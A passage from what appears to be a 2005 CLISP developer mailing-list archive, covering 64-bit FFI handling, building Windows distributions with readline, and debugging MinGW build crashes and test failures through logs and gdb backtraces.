       pushSTACK(Fixnum_1); # bisheriges Produkt := 1
----------------------------* snap *----------------------------------------

 ... and it seems to work.

       Werner

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Hello,

does anyone have <subject> somewhere for download? The sf version does
not seem to have readline included.

Thanks,

Tomas Zellerin


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Date: Thu Dec 22 01:42:01 2005
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Tomas Zellerin wrote:

> Hello,
> 
> does anyone have <subject> somewhere for download? The sf version does
> not seem to have readline included.
> 
> Thanks,
> 
> Tomas Zellerin

If nobody will help, I can build required configuration and upload in
the place specified by you.

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Hi,
Pascal J.Bourguignon wrote, one year ago:
>Gesendet: Sonntag, 12. Dezember 2004 00:32

>It seems that 64-bit FFI doesn't work.
>I've got a simple peek-and-poke library:
>unsigned long long peek64(unsigned long long* address)
>  {return(*address);}
>The code generated is ok, the C compiler push and fetches the 64-bit
>arguments on the stack, but it doesn't work with these FFI=20
>declarations: [...]
>The problem occurs on 32-bit Athlon (K6).=20
>I've not checked elsewhere.


I think I now understand the problem (and can confirm it on a i386 =
system).
foreign.d says:
#if (long_bitsize<64)
  /* 64-bit integers are passed as structs */

I think the problem lies somewhere within
a) your assumption that s/uint64 matches C long long
b) clisp not using the av_longlong macros from ffcall, but rather =
passing a struct of 2 long values.

I think b) is explained by the code, written in 1995, not being revised =
when av_longlong was added to ffcall, much later.

I have no clue whether a) is correct. There are two things two =
distinguish:
1. representation of 64-bit ints in memory
  Could you please confirm that on your system
  (=3D (with-c-var (x 'uint64 n) n) n) for 0<=3Dn<2^64
You could use the CVS ffi.tst where I added 64bit testcases right =
yesterday.
  I believe CLISP is ok here, although I could imagine weird =
representations of 64bit entities not as two consecutive 32bit =
entities...
E.g. #x0102030405060708 could be represented as:
0102030405060708 big-endian
0807060504030201 little-endian
0403020108070605 little-endian too
I remember reading about such mess somewhere.

2. passing such values as parameters
  I believe your code would work (if 1. is ok) if you defined
    poke(address,longlong *value) because that is independent on how
    the compiler passes long long. The problem arises with
    poke(address, longlong value).

Obviously, CLISP's implementation does not match the compiler's =
behaviour. longlong objects are not passed like a struct of two longs =
on the stack (at least on your 32-bit Athlon and my Pentium Centrino).

So far, I've no clue about how to change the FFI:
 i) silently map ffi:s/uint64 to C longlong -- where supported by the =
compiler, and maintain the 2xlong representation elsewhere.
 ii) introduce new ffi:long-long names that implement/use the C long =
long compiler feature.
 iii) introduce ffi:long-long as synonyms for uint64.
 iv) drop the 2xlong code where long long is not available and signal =
an error, use long long otherwise.
 v) disable calling longlong where not available, but still support =
accessing memory.

I suspect ii) would lead to obscure bugs where ffi:s/uint64 would =
behave differently from ffi:long-long.

Probably only i) or iv) makes sense, and adding new symbols to the FFI =
(iii) does not gain anything.

Note that until now, CLISP only implements int64 -> Lisp, while Lisp -> =
int64 signals an error on compilers without long long. That makes the =
second part of i) questionable and leads to my current recommendations =
as iv)

Comments on 64bit, their HW-representation, bugs, problems?

Regards,
	J=F6rg H=F6hle


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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-22 11:42:54 +0200]:
>
> Tomas Zellerin wrote:
>
>> does anyone have <subject> somewhere for download? The sf version
>> does not seem to have readline included.
>
> If nobody will help, I can build required configuration and upload in
> the place specified by you.

if you will build from the release (not cvs head), I can put it into the
SF file section.
create the distribution, rename clisp-2.36-win32.zip to
clisp-2.36-win32-with-readline.zip and upload to upload.sf.net:/incoming
note that you probably need readline.dll for such a distribution to
work, so you might have to include it into the zip file manually.

also, you might want to offer the mingw people to supply clisp/mingw to
them so it will be distributed from their site.

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Sam Steingold wrote:

> if you will build from the release (not cvs head), I can put it into the
> SF file section.
> create the distribution, rename clisp-2.36-win32.zip to
> clisp-2.36-win32-with-readline.zip and upload to upload.sf.net:/incoming
> note that you probably need readline.dll for such a distribution to
> work, so you might have to include it into the zip file manually.
> 
> also, you might want to offer the mingw people to supply clisp/mingw to
> them so it will be distributed from their site.
> 

I have builded clisp from CVS head.
But I can build it for upload to upload.sf.net:/incoming.

What modules are necessary for switching on in distribution?
- bindings/win32 (I think yes)
- berkeley-db (I do not know)
- dirkey (I think yes)
- fast-cgi (I do not know)
- matlab (I do not know)
- netica (I do not know)
- oracle (I do not know)
- pari (I do not know)
- pcre (I do not know)
- postgresql (I do not know)
- queens (I do not know)
- rawsock (I think yes)
- wildcard (I do not know)
- zlib (I do not know)

Thanks!

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-23 10:06:10 +0200]:
>
> Sam Steingold wrote:
>
>> if you will build from the release (not cvs head), I can put it into the
>> SF file section.
>> create the distribution, rename clisp-2.36-win32.zip to
>> clisp-2.36-win32-with-readline.zip and upload to upload.sf.net:/incoming
>> note that you probably need readline.dll for such a distribution to
>> work, so you might have to include it into the zip file manually.
>> 
>> also, you might want to offer the mingw people to supply clisp/mingw to
>> them so it will be distributed from their site.
>> 
>
> I have builded clisp from CVS head.
> But I can build it for upload to upload.sf.net:/incoming.
>
> What modules are necessary for switching on in distribution?

a generally available distribution must be self-contained, i.e., it
should not depend on libraries not normally installed.

> - bindings/win32 (I think yes)
yes.

> - berkeley-db (I do not know)
no.

> - dirkey (I think yes)
yes.

> - fast-cgi (I do not know)
> - matlab (I do not know)
> - netica (I do not know)
> - oracle (I do not know)
> - pari (I do not know)
> - pcre (I do not know)
> - postgresql (I do not know)
> - queens (I do not know)
no.

> - rawsock (I think yes)
yes.

> - wildcard (I do not know)
> - zlib (I do not know)
no.

if you want to include zlib, you must also include z.dll, just like if
you are including readline, you must include readline.dll.

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I'm trying to write a small howto for building CLISP from scratch on a
Windows system, because I didn't found such a documentation. This is the
start:

http://www.frank-buss.de/lisp/clisp.html

But it crashs while building. The last output lines:

RUN-TEST: started #<INPUT BUFFERED FILE-STREAM CHARACTER #P"socket.tst" =
@1>
(DEFPARAMETER *SERVER* (SOCKET-SERVER))
EQL-OK: *SERVER*
(MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0))
EQUAL-OK: (NIL 0)
(DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*)
"localhost" :TIMEOUT 0))
EQL-OK: *SOCKET-1*
(DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO)))
EQL-OK: *STATUS-ARG*
(EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*)
EQL-OK: T
(CDR (ASSOC *SERVER* *STATUS-ARG*))
ERROR!! NIL should be T !

*** - handle_fault error2 ! address =3D 0xd21000 not in
[0x19d70000,0x19fa6804) !
SIGSEGV cannot be cured. Fault address =3D 0xd21000.
Permanently allocated: 87648 bytes.
Currently in use: 4709064 bytes.
Free space: 706523 bytes.
make[1]: *** [tests] Error 5
make[1]: Leaving directory `/home/Frank/clisp-2.36/clisp-gui/tests'
make: *** [check-tests] Error 2


Currently this is the unmodified CLISP source. When it works, I want to
modify it to disable the console window (by substituting main with =
WinMain).

--=20
Frank Bu=DF, fb@frank-buss.de
http://www.frank-buss.de, http://www.it4-systems.de



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> * Frank Buss <so@senax-ohff.qr> [2005-12-24 04:33:06 +0100]:
>
> I'm trying to write a small howto for building CLISP from scratch on a
> Windows system, because I didn't found such a documentation. This is
> the start:
>
> http://www.frank-buss.de/lisp/clisp.html

why do you have both --with-readline and --without-readline ?


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> * Frank Buss <so@senax-ohff.qr> [2005-12-24 04:33:06 +0100]:
>
> http://www.frank-buss.de/lisp/clisp.html

it would be nice if you linked to CLISP from that page
and linked to that page from http://www.frank-buss.de/lisp/.

> But it crashs while building. The last output lines:
>
> RUN-TEST: started #<INPUT BUFFERED FILE-STREAM CHARACTER #P"socket.tst" @1>
> (DEFPARAMETER *SERVER* (SOCKET-SERVER))
> EQL-OK: *SERVER*
> (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0))
> EQUAL-OK: (NIL 0)
> (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*)
> "localhost" :TIMEOUT 0))
> EQL-OK: *SOCKET-1*
> (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO)))
> EQL-OK: *STATUS-ARG*
> (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*)
> EQL-OK: T
> (CDR (ASSOC *SERVER* *STATUS-ARG*))
> ERROR!! NIL should be T !
>
> *** - handle_fault error2 ! address = 0xd21000 not in
> [0x19d70000,0x19fa6804) !
> SIGSEGV cannot be cured. Fault address = 0xd21000.
> Permanently allocated: 87648 bytes.
> Currently in use: 4709064 bytes.
> Free space: 706523 bytes.
> make[1]: *** [tests] Error 5
> make[1]: Leaving directory `/home/Frank/clisp-2.36/clisp-gui/tests'
> make: *** [check-tests] Error 2

I cannot reproduce this.
I use cygwin and build the mingw version using "gcc -mno-cygwin".
please try building with -g (configure --with-debug or just edit the
Makefile) and debug the crash - at least supply the stack trace to me.

Yaroslav, do you observe this crash?

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> it would be nice if you linked to CLISP from that page
> and linked to that page from http://www.frank-buss.de/lisp/.

I've added a link to CLISP, but currently it is only kind of internal =
until
it works, so I didn't add a link from my lisp index page.

> I cannot reproduce this.

I've removed the --width-readline. There were some other problems, =
because I
have cygwin on the same system and the system path was set to it, which
could caused some problems. I've fixed the howto at
http://www.frank-buss.de/lisp/clisp.html , removed the clisp-2.36 =
directory
and tried it again, now it crashs at another position:

EQL-OK: T
(REMF PL 'Z)
EQL-OK: NIL
(REMF PL 'C)
EQL-OK: T
(GETF PL 'C)
EQL-OK: 16
(REMF PL 'C)
EQL-OK: T
(REMF PL 'C)
EQL-OK: NIL
(GETF PL 'D)
EQL-OK: 13
(SETF (GETF PL 'D) 100)
EQL-OK: 100
(GETF PL 'D)
EQL-OK: 100
(REMF PL 'D)
EQL-OK: T
(REMF PL 'D)
EQL-OK: T
(GETF PL 'B)
EQL-OK: 11
PL
EQUAL-OK: (A 10 B 11 A 14 B 15)
(UNINTERN 'FOO)
EQL-OK: T
(UNINTERN 'BAR)
EQL-OK: T
(UNWIND-PROTECT (LET ((FORMS '((DEFSTRUCT FOO A B) (DEFSTRUCT (BAR =
(:INCLUDE
FOO    ) (:CONC-NAME FOO-)) C) (DEFUN QUUX (X) (FOO-A X)) (DEFUN FROBOZZ =
(X
Y) (SETF (F    OO-A X) Y)) (LIST (QUUX (MAKE-FOO :A 1)) (QUUX (MAKE-BAR =
:A
2)) (FROBOZZ (MAKE-F    OO) 10) (FROBOZZ (MAKE-BAR) 20))))) (LIST (EVAL
`(PROGN ,@FORMS)) (FUNCALL (COMP    ILE NIL `(LAMBDA NIL ,@FORMS)))))
(FMAKUNBOUND 'QUUX) (FMAKUNBOUND 'FROBOZZ) (FM    AKUNBOUND 'FOO-A)
(FMAKUNBOUND 'FOO-B) (FMAKUNBOUND 'FOO-C))

*** - handle_fault error2 ! address =3D 0x19003d50 not in
[0x19d70000,0x19fa46b8)     !
SIGSEGV cannot be cured. Fault address =3D 0x19003d50.
Permanently allocated: 87648 bytes.
Currently in use: 5395172 bytes.
Free space: 0 bytes.

*** - handle_fault error2 ! address =3D 0x19003d50 not in
[0x19d70000,0x19fa46b8)     !
SIGSEGV cannot be cured. Fault address =3D 0x19003d50.
Permanently allocated: 87648 bytes.
Currently in use: 5395172 bytes.
Free space: 0 bytes.
make[1]: *** [tests] Error 5
make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests'
make: *** [check-tests] Error 2



> I use cygwin and build the mingw version using "gcc -mno-cygwin".
> please try building with -g (configure --with-debug or just edit the
> Makefile) and debug the crash - at least supply the stack trace to me.

thanks, I'll try the --with-debug now. Perhaps it is related to my =
machine?
It is a multiprocessor system (not really, it is the Intel =
Hyper-Threading:
two virtual processors within one processor, but Windows shows 2 CPUs in
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> * Frank Buss <so@senax-ohff.qr> [2005-12-25 18:37:06 +0100]:
>
>
>> I use cygwin and build the mingw version using "gcc -mno-cygwin".
>> please try building with -g (configure --with-debug or just edit the
>> Makefile) and debug the crash - at least supply the stack trace to me.
>
> thanks, I'll try the --with-debug now. Perhaps it is related to my
> machine?  It is a multiprocessor system (not really, it is the Intel
> Hyper-Threading: two virtual processors within one processor, but
> Windows shows 2 CPUs in task manager).

this should not matter, but who really knows...



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Ok, I've compiled it with --with-debug, the rest like described at
http://www.frank-buss.de/lisp/clisp.html . Now it doesn't crash, but =
some
tests fails:

Real time: 171.09375 sec.
Run time: 164.34375 sec.
Space: 726564992 Bytes
GC: 687, GC time: 62.15625 sec.
3

Bye.
(echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg;
echo "To see which tests failed, type" ; echo "    cat "`pwd`"/*.erg" ; =
exit
1)
Test failed:
-rw-r--r--    1 Frank    Administ     1013 Dec 25 20:10 path.erg
-rw-r--r--    1 Frank    Administ       88 Dec 25 20:10 socket.erg
To see which tests failed, type
    cat /clisp-2.36/clisp-gui/tests/*.erg
make[1]: *** [compare] Error 1
make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests'
make: *** [check-tests] Error 2




$ cat /clisp-2.36/clisp-gui/tests/*.erg
Form: (UNWIND-PROTECT (PROGN (SETF (LOGICAL-PATHNAME-TRANSLATIONS "FOO") =
NIL
(GETENV "LOGICAL_HOST_FOO") (WRITE-TO-STRING '(("FOO:**;*" =
"/foo/**/*"))))
(AND (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "FOO") (CADAR
(LOGICAL-PATHNAME-TRANSLATIONS "FOO")))) (SETF (GETENV =
"LOGICAL_HOST_FOO")
NIL))
CORRECT: "/foo/**/*"
CLISP  : ERROR
SYSTEM::SETENV ("LOGICAL_HOST_FOO" NIL): out of memory

OUT:
"[SIMPLE-ERROR]: SYSTEM::SETENV (\"LOGICAL_HOST_FOO\" NIL): out of =
memory

"


Form: (UNWIND-PROTECT (PROGN (SETF (LOGICAL-PATHNAME-TRANSLATIONS "FOO") =
NIL
(GETENV "LOGICAL_HOST_FOO_FROM") "FOO:**;*" (GETENV =
"LOGICAL_HOST_FOO_TO")
"/foo/**/*") (AND (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "FOO") (CADAR
(LOGICAL-PATHNAME-TRANSLATIONS "FOO")))) (SETF (GETENV
"LOGICAL_HOST_FOO_FROM") NIL (GETENV "LOGICAL_HOST_FOO_TO") NIL))
CORRECT: "/foo/**/*"
CLISP  : ERROR
SYSTEM::SETENV ("LOGICAL_HOST_FOO_FROM" NIL): out of memory

OUT:
"[SIMPLE-ERROR]: SYSTEM::SETENV (\"LOGICAL_HOST_FOO_FROM\" NIL): out of
memory

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :INPUT
CLISP  : NIL
0



I don't understand the out of memory error. Is 2 GB RAM not enough for
compiling and testing CLISP? I'll try it without "--with-debug" now on =
my
laptop to test if the problem is related to my computer.

Is there any working manual how to compile CLISP on Windows? I can use
Cygwin, too, if MinGW is not supported. Or I can use other configure
options, if there are problems. How does the configure line look like =
for
the released version on Sourceforge?

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> > thanks, I'll try the --with-debug now. Perhaps it is related to my
> > machine?  It is a multiprocessor system (not really, it is the Intel
> > Hyper-Threading: two virtual processors within one processor, but
> > Windows shows 2 CPUs in task manager).
>=20
> this should not matter, but who really knows...

you are right, it doesn't matter. On my laptop it crashes, too, without =
the
debug switch:

EQL-OK: ERROR
(MACROEXPAND-1 '(PUSH (FOO) L))
EQUAL-OK: (SETQ L (CONS (FOO) L))
(MACROEXPAND-1 '(POP L))
EQUAL-OK: (PROG1 (CAR L) (SETQ L (CDR L)))
(MACROEXPAND-1 '(PUSHNEW (FOO) L))
EQUAL-OK: (SETQ L (ADJOIN (FOO) L))
(MACROEXPAND-1 '(INCF X))
EQUAL-OK: (SETQ X (+ X 1))
(MACROEXPAND-1 '(SETF L (FOO)))
EQUAL-OK: (SETQ L (FOO))
(MACROEXPAND-1 '(SETF (VALUES-LIST L) (FOO)))
EQUAL-OK: (VALUES-LIST (SETF L (MULTIPLE-VALUE-LIST (FOO))))
(DEFINE-SETF-EXPANDER BOTHVARS (X Y) (LET ((G (GENSYM))) (VALUES 'NIL =
'NIL
(LIST G) `(PROGN (SETQ ,X ,G ,Y ,G)) X)))
EQL-OK: BOTHVARS
(LET (A B) (SETF (BOTHVARS A B) 'NIL) (PUSH (MAKE-ARRAY 2) (BOTHVARS A =
B))
(EQ A B))
EQL-OK: T
(SETF (DOCUMENTATION (LAMBDA NIL 'ABAZONK) 'FUNCTION) "abazonk doc")
EQUAL-OK: "abazonk doc"
(DOCUMENTATION (LAMBDA NIL 'BAZONK) 'FUNCTION)

*** - handle_fault error2 ! address =3D 0x40c2804 not in
[0x19d70000,0x19fa369c) !
SIGSEGV cannot be cured. Fault address =3D 0x40c2804.
Permanently allocated: 87648 bytes.
Currently in use: 5343600 bytes.
Free space: 41247 bytes.
make[1]: *** [tests] Error 5
make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests'
make: *** [check-tests] Error 2



I've tried the same (without debug option) again on my PC and it crashes =
at
another position:

EQL-OK: ERROR
(LET ((V '(A B C)) (VAL '(3 2 1))) (PROGV V VAL (MAPCAR #'EVAL V)))
EQUAL-OK: (3 2 1)
(DEFUN PLUS (&REST ARGS) (APPLY #'+ ARGS))
EQL-OK: PLUS
(FLET ((PLUS (A B) (+ A B)) (MINUS (A B) (- A B))) (LIST (PLUS 1 2) =
(MINUS 1
2)))
EQUAL-OK: (3 -1)
(LIST (FLET ((PLUS (A B) (- A B))) (PLUS 3 2)) (+ 3 2))
EQUAL-OK: (1 5)
(FLET ((PLUS (A B) (PLUS (PLUS A B A) B))) (PLUS 3 2))
EQL-OK: 10
(LABELS ((QUEUE (L) (IF (CAR L) (QUEUE (CDR L)) 'ENDE))) (QUEUE '(1 2 =
3)))
EQL-OK: ENDE
(LABELS ((PLUS (A B) (* A (PLUS A A B)))) (PLUS 1 2 3))
[SIMPLE-PROGRAM-ERROR]:=20
*** - handle_fault error2 ! address =3D 0x19087ee0 not in
[0x19d70000,0x19fa46b8) !
SIGSEGV cannot be cured. Fault address =3D 0x19087ee0.
Permanently allocated: 87648 bytes.
Currently in use: 5354016 bytes.
Free space: 48548 bytes.
make[1]: *** [tests] Error 5
make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests'
make: *** [check-tests] Error 2


Ok, I gave up now trying to compile it with MinGW, unless someone has an
idea what I'm doing wrong. But there must be a way to compile it on =
Windows,
because someone has managed it :-)
http://prdownloads.sourceforge.net/clisp/clisp-2.36-win32.zip?download

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> * Frank Buss <so@senax-ohff.qr> [2005-12-25 22:16:12 +0100]:
>
> "[SIMPLE-ERROR]: SYSTEM::SETENV (\"LOGICAL_HOST_FOO\" NIL): out of
> memory

this is a known problem on system with broken putenv (woe32, BSD), fixed
in the CVS.

> Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
> CORRECT: :INPUT
> CLISP  : NIL
> 0

hmm...
a MinGW user will have to debug this.

> Is there any working manual how to compile CLISP on Windows?

$ ./configure --with-mingw --with-module=rawsock --build build-O-mingw
works OOTB for me with the current cygwin.


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> * Frank Buss <so@senax-ohff.qr> [2005-12-26 00:28:55 +0100]:
>
> (DOCUMENTATION (LAMBDA NIL 'BAZONK) 'FUNCTION)
>
> *** - handle_fault error2 ! address = 0x40c2804 not in
> [0x19d70000,0x19fa369c) !
> SIGSEGV cannot be cured. Fault address = 0x40c2804.
> Permanently allocated: 87648 bytes.
> Currently in use: 5343600 bytes.
> Free space: 41247 bytes.
> make[1]: *** [tests] Error 5
> make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests'
> make: *** [check-tests] Error 2
>
>
>
> I've tried the same (without debug option) again on my PC and it crashes at
> another position:
>
> EQL-OK: ERROR
> (LET ((V '(A B C)) (VAL '(3 2 1))) (PROGV V VAL (MAPCAR #'EVAL V)))
> EQUAL-OK: (3 2 1)
> (DEFUN PLUS (&REST ARGS) (APPLY #'+ ARGS))
> EQL-OK: PLUS
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> EQUAL-OK: (3 -1)
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> EQUAL-OK: (1 5)
> (FLET ((PLUS (A B) (PLUS (PLUS A B A) B))) (PLUS 3 2))
> EQL-OK: 10
> (LABELS ((QUEUE (L) (IF (CAR L) (QUEUE (CDR L)) 'ENDE))) (QUEUE '(1 2 3)))
> EQL-OK: ENDE
> (LABELS ((PLUS (A B) (* A (PLUS A A B)))) (PLUS 1 2 3))
> [SIMPLE-PROGRAM-ERROR]: 
> *** - handle_fault error2 ! address = 0x19087ee0 not in
> [0x19d70000,0x19fa46b8) !
> SIGSEGV cannot be cured. Fault address = 0x19087ee0.
> Permanently allocated: 87648 bytes.
> Currently in use: 5354016 bytes.
> Free space: 48548 bytes.
> make[1]: *** [tests] Error 5
> make[1]: Leaving directory `/clisp-2.36/clisp-gui/tests'
> make: *** [check-tests] Error 2

one possibility is that I use
gcc (GCC) 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)
on cygwin, while you might have a gcc4 on mingw - and that might have
bugs.


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> > Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
> > CORRECT: :INPUT
> > CLISP  : NIL
> > 0
>=20
> hmm...
> a MinGW user will have to debug this.

I can do this, because it is better to find the reason for the bug =
instead
of using Cygwin, because while the tests might work on Cygwin, the
bug-reason could cause a crash in my programs at customer site, even =
with
the Cygwin build. But I have problems debugging the program. I've tried
this:


Frank@GALILEI /clisp-2.36/clisp-gui/tests
$ gdb ../lisp.exe
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you =
are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
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details.
This GDB was configured as "i686-pc-mingw32"...
(gdb) r -E utf-8 -norc -B ../ -N ../locale -M ../lispinit.mem -m 30000KW =
-i
tests -x "(time (run-all-tests))"
Starting program:
C:\msys\1.0\mingw\1.0\clisp-2.36\clisp-gui\tests/../lisp.exe -E utf-8 =
-norc
-B ../ -N ../locale -M ../lispinit.mem -m 30000KW -i tests -x "(time
(run-all-tests))"

Program received signal SIGSEGV, Segmentation fault.
0x0043d825 in closed_buffered ()
(gdb) bt
#0  0x0043d825 in closed_buffered ()
#1  0x0022fc38 in ?? ()
#2  0x0040f14a in loadmem ()
#3  0x0040f9b0 in init_memory ()
#4  0x0040fd03 in main ()
(gdb) quit


This occured immediatly after startup. When starting "../lisp.exe -E =
utf-8
-norc -B ....." from the command line, many tests pass until it crashs. =
I
have no experience with gdb, perhaps I'm calling it the wrong way? I =
don't
want to try the version compiled with "--with-debug", because this =
version
didn't crash, so I have to do it the hard way with printfs.

> one possibility is that I use
> gcc (GCC) 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)
> on cygwin, while you might have a gcc4 on mingw - and that might have
> bugs.

I'm using "gcc.exe (GCC) 3.4.2 (mingw-special)".

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> * Frank Buss <so@senax-ohff.qr> [2005-12-26 04:39:30 +0100]:
>
> Program received signal SIGSEGV, Segmentation fault.
> 0x0043d825 in closed_buffered ()
> (gdb) bt
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> #1  0x0022fc38 in ?? ()
> #2  0x0040f14a in loadmem ()
> #3  0x0040f9b0 in init_memory ()
> #4  0x0040fd03 in main ()
> (gdb) quit

this has been reported before (on a different platform, I think), I have
no idea what this might mean.  please file a bug report on SF and we
will try to collect data on this.

meanwhile, try "rm -f *.o; make" after changing CFLAGS to replace -O
with -g

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Sam Steingold wrote:

> a generally available distribution must be self-contained, i.e., it
> should not depend on libraries not normally installed.

last question - build with gettext or without?
Gettext demands libiconv library which clisp directly is not used under
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Sam Steingold wrote:

> Yaroslav, do you observe this crash?

clisp from CVS head, mingw, win2k. Build and test without crash.

I shall soon try clisp-2.36 from sf.net

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-26 14:49:37 +0200]:
>
> Sam Steingold wrote:
>
>> a generally available distribution must be self-contained, i.e., it
>> should not depend on libraries not normally installed.
>
> last question - build with gettext or without?
> Gettext demands libiconv library which clisp directly is not used under
> mingw.

I don't care - but please make sure that all the required libraries
_are_ included in the zip file.
you should try to install the distribution you build on a machine
without mingw and see if it works.


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> clisp from CVS head, mingw, win2k. Build and test without crash.

thanks, I can reproduce this: Building from CVS head from today on =
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> * Frank Buss <so@senax-ohff.qr> [2005-12-26 23:57:39 +0100]:
>
>> clisp from CVS head, mingw, win2k. Build and test without crash.
>
> thanks, I can reproduce this: Building from CVS head from today on
> Windows XP with mingw it works. How are the plans with CLISP for new
> releases?

as soon as you fix
http://sourceforge.net/tracker/index.php?func=detail&aid=1389060&group_id=1355&atid=101355

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> I don't care - but please make sure that all the required libraries
> _are_ included in the zip file.
> you should try to install the distribution you build on a machine
> without mingw and see if it works.
> 

I build and test distribution. How it upload to upload.sf.net:/incoming?

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>>Yaroslav, do you observe this crash?
> 
> 
> clisp from CVS head, mingw, win2k. Build and test without crash.
> 
> I shall soon try clisp-2.36 from sf.net
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clisp-2.36 from sf.net, mingw, win2k. Build and test without crash.

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> * Yaroslav Kavenchuk <xnirapuhx@wragl.ol> [2005-12-27 10:06:44 +0200]:
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> Sam Steingold wrote:
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>> I don't care - but please make sure that all the required libraries
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>> you should try to install the distribution you build on a machine
>> without mingw and see if it works.
>> 
>
> I build and test distribution. How it upload to upload.sf.net:/incoming?

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Sam Steingold wrote:

>use ftp:
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>  
>
I do it, but attempt is failure - abort connection.

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-12-27 22:57:47 +0200]:
>
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>>use ftp:
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>>
>>  
>>
> I do it, but attempt is failure - abort connection.

OK, could you please make it available to me via http?
thanks.

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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-12-22 08:58:32 +0100]:
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> does anyone have <subject> somewhere for download? The sf version does
> not seem to have readline included.

Yaroslav built such a distribution and it is now available on SF as
clisp-2.36-win32-with-readline-and-gettext.zip

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I have tried to build clisp on Debian unstable to get postgres support. I
tried this command line:

./configure --with-readline --with-dynamic-ffi --with-dynamic-modules
- --with-module=bindings/glibc --with-module=postgresql
- --with-libpq-prefix=/usr --with-module=rawsock --with-module=regexp
- --with-module=syscalls --with-module=wildcard --with-module=zlib --build
build-1

and I get this error:

configure: * PostgreSQL (Headers)
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking postgres_ext.h usability... no
checking postgres_ext.h presence... no
checking for postgres_ext.h... no
configure: error: cannot find PostgreSQL headers
make: *** [postgresql] Error 1


I have run apt-get install libpq-dev which installs header files into
/usr/include/postgresql. However, it seems that directory is not being
included in the search for headers. I have also tried setting the INCLUDES
environment variable to /usr/include/postgresql to no avail.

Can someone point me to what I'm doing wrong?

I have tried with the source tarball (clisp-2.36-tar.bz2) from sourceforge
as well as the cvs tarball (clisp-cvsroot.tar.bz2).

Thanks,
Jeff

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Yaroslav Kavenchuk wrote:

>>>Yaroslav, do you observe this crash?
>>>      
>>>
>>clisp from CVS head, mingw, win2k. Build and test without crash.
>>
>>I shall soon try clisp-2.36 from sf.net
>>
>>    
>>
>
>clisp-2.36 from sf.net, mingw, win2k. Build and test without crash.
>  
>
winxp - build and test is ok.

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> >clisp-2.36 from sf.net, mingw, win2k. Build and test without crash.
> > =20
> >
> winxp - build and test is ok.

this is strange, because I've tried it on two Windows XP=20
computers (both with service pack 2). I have no problems with=20
the CVS version from 2 days ago, but with the release=20
clisp-2.36 it crashed while building. And at least in=20
http://sourceforge.net/mailarchive/message.php?msg_id=3D14290653
 Sam Steingold wrote, that there is a known problem in 2.36,=20
so it is not possible that the test is ok.

Can you post your system configuration? I've used=20
MinGW-4.1.1.exe, MSYS-1.0.10.exe, clisp-2.36.tar.gz and=20
libsigsegv-2.2.tar.gz like described at=20
http://www.frank-buss.de/lisp/clisp.html . "gcc --version"=20
says "gcc.exe (GCC) 3.4.2 (mingw-special)". And I have set=20
the path to ".:/bin:/usr/bin:/mingw/bin" before building to=20
prevent using other programs than the mingw programs, only.

I've seen somewhere in the CLISP make files that it is=20
possible to download and build GCC, too. Perhaps this is=20
better for reproducable results and I should add it to my howto?

But then again it is not so important, because the CVS=20
version works :-)

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I hope someone can help me to compile clisp-2.36, sorry i do not know much
about the c compiler.   When i run make in the clisp directory, here is what 
happens.  Does anyone know what the error means?

cc -O  base/modules.o base/readline.o -lreadline -lncurses base/regexi.o 
base/regex.o base/calls.o -lcrypt -lm base/gettext.o base/lisp.a 
base/libcharset.a base/libavcall.a base/libcallback.a -lreadline -lncurses 
-ldl -L/home/users/s/sd/sds/top/Linux-x86_64/lib -lsigsegv -lc -o 
base/lisp.run
/usr/lib64/gcc-lib/x86_64-suse-linux/3.3.5/../../../../x86_64-suse-linux/bin/ld: 
cannot find -lreadline
collect2: ld returned 1 exit status
make: *** [base/lisp.run] Error 1
/opt/clisp-2.36> file base/rea*.o
base/readline.o: ELF 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV), not 
stripped


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> I hope someone can help me to compile clisp-2.36, sorry i do=20
> not know much
> about the c compiler.   When i run make in the clisp=20
> directory, here is what=20
> happens.  Does anyone know what the error means?

try "--without-readline" when you call ./configure, if you=20
don't need readline or install the readline library first.

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I've patched the CLISP source a bit to allow applications without a =
console
and in one EXE file. The main problem was the stdout/in/err handles, =
because
sometimes they are 0 (or -1 on Windows 98), when not redirected and the
console functions didn't work on it, so as a first hack I've opened the =
NUL
device with CreateFile for it. This is not so good, because then
input/output redirection doesn't work anymore. Perhaps someone can take =
a
look at it, it should be possible to change the stream.d in a way that =
it
